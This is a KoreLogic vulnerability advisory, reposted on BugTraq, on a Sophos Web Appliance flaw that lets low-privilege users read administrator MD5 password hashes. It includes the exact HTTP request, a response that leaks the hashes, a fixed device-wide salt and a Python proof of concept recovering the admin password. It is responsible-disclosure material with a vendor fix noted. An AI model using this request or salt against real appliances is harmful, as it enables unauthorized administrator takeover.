BugTraq
KL-001-2016-008 : Sophos Web Appliance Privilege Escalation Nov 04 2016 03:12PM
KoreLogic Disclosures (disclosures korelogic com)
KL-001-2016-008 : Sophos Web Appliance Privilege Escalation

Title: Sophos Web Appliance Privilege Escalation
Advisory ID: KL-001-2016-008
Publication Date: 2016.11.03
Publication URL: https://www.korelogic.com/Resources/Advisories/KL-001-2016-008.txt

1. Vulnerability Details

Affected Vendor: Sophos
Affected Product: Web Apppliance
Affected Version: v4.2.1.3
Platform: Embedded Linux
CWE Classification: CWE-522: Insufficiently Protected Credentials,
CWE-261: Weak Cryptography for Passwords
Impact: Privilege Escalation
Attack vector: HTTP

2. Vulnerability Description

An unprivileged user can obtain an MD5 hash of the administrator
password which can then be used to discover the plain-text password.

3. Technical Description

A user with the privileges: Helpdesk, Policy, Reporting,
or User Activity can obtain an MD5 hash for the Full Access
Administrator account. A valid session identifier is required
and is delivered through the STYLE parameter.

GET /index.php?c=change_password&STYLE=7151e50b0389755717510f218b1af00c
HTTP/1.1
Host: [redacted]
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:46.0)
Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
DNT: 1
Connection: close

HTTP/1.1 200 OK
Date: Tue, 10 May 2016 00:36:43 GMT
Server: Apache
X-UA-Compatible: IE=7
Cache-Control: no-store, no-cache, must-revalidate, private, post-check=0,
pre-check=0
Pragma: no-cache
X-Frame-Options: sameorigin
X-Content-Type-Options: nosniff
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 8798

...
{"currentUser":"test","globalUser":false,"swa_title":"Change
Password","usersJS":"[{\"id\":\"default_admin\",\"username\":\"admin\",\
"name\":\"Default
Administrator\",\"password\":\"f98d0973dffdc3a29ee67167c15b882e\",\"desc
ription\":\"Default
Administrator Account\",\"admin\":true,\"roles\":\"Full Access
Administrator\",\"reporting_groups\":[]},{\"id\":\"5605c1fef6927d2c45a62
b0abcba5385\",\"username\":\"test\",\"name\":\"test\",\"password\":\"cae
aea5602b40c779b8669b7001f3396\",\"description\":\"asdfghj\",\"admin\":fa
lse,\"roles\":[\"helpdesk\",\"policy\",\"reporting\",\"user_activity\"],
\"reporting_groups\":[\"all\"]},{\"id\":\"a39244da844197796609fc5b8aad7f
3c\",\"username\":\"woot\",\"name\":\"woot\",\"password\":\"f0ce19faed6d
f0443c80aceea4c7b7ae\",\"description\":\"none\",\"admin\":false,\"roles\
":[\"helpdesk\"],\"reporting_groups\":[]}]","cma":{"joined":false,"host"
:"","is_cma":false,"swa_joined":false,"is_vm":true},"locale":"en","trial
Mode":true,"licenseDaysLeft":29,"navigation":["<a
class=\"button \" id=\"lnk_cancel\" href=\"#\" onclick=\"this.blur(); return
false;\">\n <span class=\"buttonLabel\">Cancel<\/span>\n<\/a>","<a
class=\"button \" id=\"lnk_save\" href=\"#\" onclick=\"this.blur(); return
false;\">\n <span
class=\"buttonLabel\">Save<\/span>\n<\/a>"],"navigation_left":[],"status
_processing":"Submitting...","status_password_dont_match":"Password
mismatch","status_invalid_password":"Invalid
password","status_current_password_invalid":"Current password
invalid","uiStatusMessages":{"status_processing":"Submitting...","status
_password_dont_match":"Password
mismatch","status_invalid_password":"Invalid
password","status_current_password_invalid":"Current password
invalid"},"rba":{"reports":true,"search":true,"configuration":true,"syst
em_status":false,"help_support":true,"editable":true,"current_user":"tes
t","globalUser":false,"admin_role":false}
...

A fixed salt is apparently used for all such devices: P3T3R p@rk3r

The admin MD5 hash in this case is: f98d0973dffdc3a29ee67167c15b882e

4. Mitigation and Remediation Recommendation

The vendor has issued a fix for this vulnerability in Version
4.3 of SWA. Release notes available at:

http://swa.sophos.com/rn/swa/concepts/ReleaseNotes_4.3.html

5. Credit

This vulnerability was discovered by Matt Bergin (@thatguylevel)
of KoreLogic, Inc.

6. Disclosure Timeline

2016.09.09 - KoreLogic sends vulnerability report and PoC to Sophos.
2016.09.14 - Sophos requests KoreLogic re-send vulnerability details.
2016.09.28 - KoreLogic requests status update.
2016.09.28 - Sophos informs KoreLogic that an update including a fix
for this vulnerability will be available near the end
of October.
2016.10.13 - Sophos informs KoreLogic that the update was released to a
limited customer base and is expected to be distributed
at-large over the following week.
2016.11.03 - Public disclosure.

7. Proof of Concept

>>> from hashlib import md5
>>> md5('P3T3R p@rk3radmin123').hexdigest()
'f98d0973dffdc3a29ee67167c15b882e'

The contents of this advisory are copyright(c) 2016
KoreLogic, Inc. and are licensed under a Creative Commons
Attribution Share-Alike 4.0 (United States) License:
http://creativecommons.org/licenses/by-sa/4.0/

KoreLogic, Inc. is a founder-owned and operated company with a
proven track record of providing security services to entities
ranging from Fortune 500 to small and mid-sized companies. We
are a highly skilled team of senior security consultants doing
by-hand security assessments for the most important networks in
the U.S. and around the world. We are also developers of various
tools and resources aimed at helping the security community.
https://www.korelogic.com/about-korelogic.html

Our public vulnerability disclosure policy is available at:
https://www.korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Poli
cy.v2.2.txt

-----BEGIN PGP SIGNATURE-----

iQE3BAEBCAAhBQJYHKVGGhxkaXNjbG9zdXJlc0Brb3JlbG9naWMuY29tAAoJEE1l
miwOGYkMpVsIAJPJIqq8tcZ1G26Dx0XPO4DRg6RUPAEWfi13lvu0M4JSynGhF1nl
JwGkM47QQJG7wJQvfjUDVtBRubTc7E0OHW2VQdfCIzAPhwn6lftLQFW6lp5km/AV
h+E8XqpW25zoikBippTxz/X9JoseLfZ4/vUdicYpSGIjKnLTwAF/ashEl8hR0zZw
ob8rAhcAeuNF9dbJcxL9GxuEHXX1HSHy6l4l8GSV5D/iDM3gqv5N/JfqmXftZ2Qx
sp6Vm9WC9gJsAECLzi7UiDAUFoDNxmZdJ+oqD2aeaBpQAm1BfaT3rZxfB9u4/SE/
ld9UtGpoYQlTt2MfpZF7+EVqDZ7XmMQ3WuY=
=cOmN
-----END PGP SIGNATURE-----

[ reply ]


 

Privacy Statement
Copyright 2010, SecurityFocus